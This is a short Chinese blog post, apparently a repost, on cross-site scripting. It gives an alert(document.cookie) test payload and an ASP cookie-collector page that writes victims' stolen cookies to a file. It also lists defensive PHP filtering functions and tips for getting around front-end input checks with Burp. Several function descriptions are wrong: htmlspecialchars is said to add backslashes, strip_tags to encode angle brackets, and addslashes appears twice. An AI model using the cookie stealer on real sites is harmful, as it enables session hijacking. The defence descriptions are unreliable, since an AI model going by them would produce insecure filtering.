软件安全--xss跨站脚本攻击

简介:恶意攻击者往Web页面里插入恶意Script代码,当用户浏览页面时,嵌入其中的Script代码会被执行,从而达到恶意攻击用户的目的。

触发:发生在目标网站中目标用户的浏览器层面上

常见:公共留言板,公共可见文本

测试方法:

(1)cookies弹框

<script>alert(document.cookie)</script>

(2)cookies获取写入到攻击者的文件夹

<html>

<title>xx</title>

<body>

<%testfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中

msg = Request("msg") //获取提交过来的msg变量,也就是cookie值

set fs = server.CreateObject("scripting.filesystemobject")//创建一个fs对象

set thisfile = fs.OpenTextFile(testfile,8,True,0)

thisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie

thisfile.close() //关闭

set fs = nothing%>

</body>

</html>

处理方法:

采用Filter技术,对所有参数都进行过滤,处理方案为:1. 特殊字符做转义【&it;,&gt;,&quot】。 2. 含有敏感的html脚本,直接处理掉。

常见的XSS过滤:
1.htmlspecialchars()函数 
能将单引号'',双引号"",斜杠/,反斜杠\  转义,也就是在这些符号前加上退意符\。
但该函数默认编码双引号,正反斜杠(/,\)
如果想要编码单引号,则需要加上一个参数
  
2.strip_tags函数
将尖括号编码

3.addslashes
将单双引号转移   就是在 '前加个\

4.addslashes()函数
将预定义字符 '   "    \  NULL
函数会在这四个字符前加上 \

5.我在渗透测试过程中见到的基本上都是将关键符号如 <>"" '' ()等等
这些符号进行实体编码
或者直接将这些符号过滤掉
再或者将关键字alert script  src img等等过滤掉
有些时候会通过前端JS校验,限制输入字符串长度,是你无法构建完整的XSS语句
不过你在页面中查看元素,找到对应代码,修改其中的限制即可
或者先输入一个合法的字符串,接着使用brupsuit抓包更改

猜你喜欢

转载自www.cnblogs.com/hhdw/p/11245180.html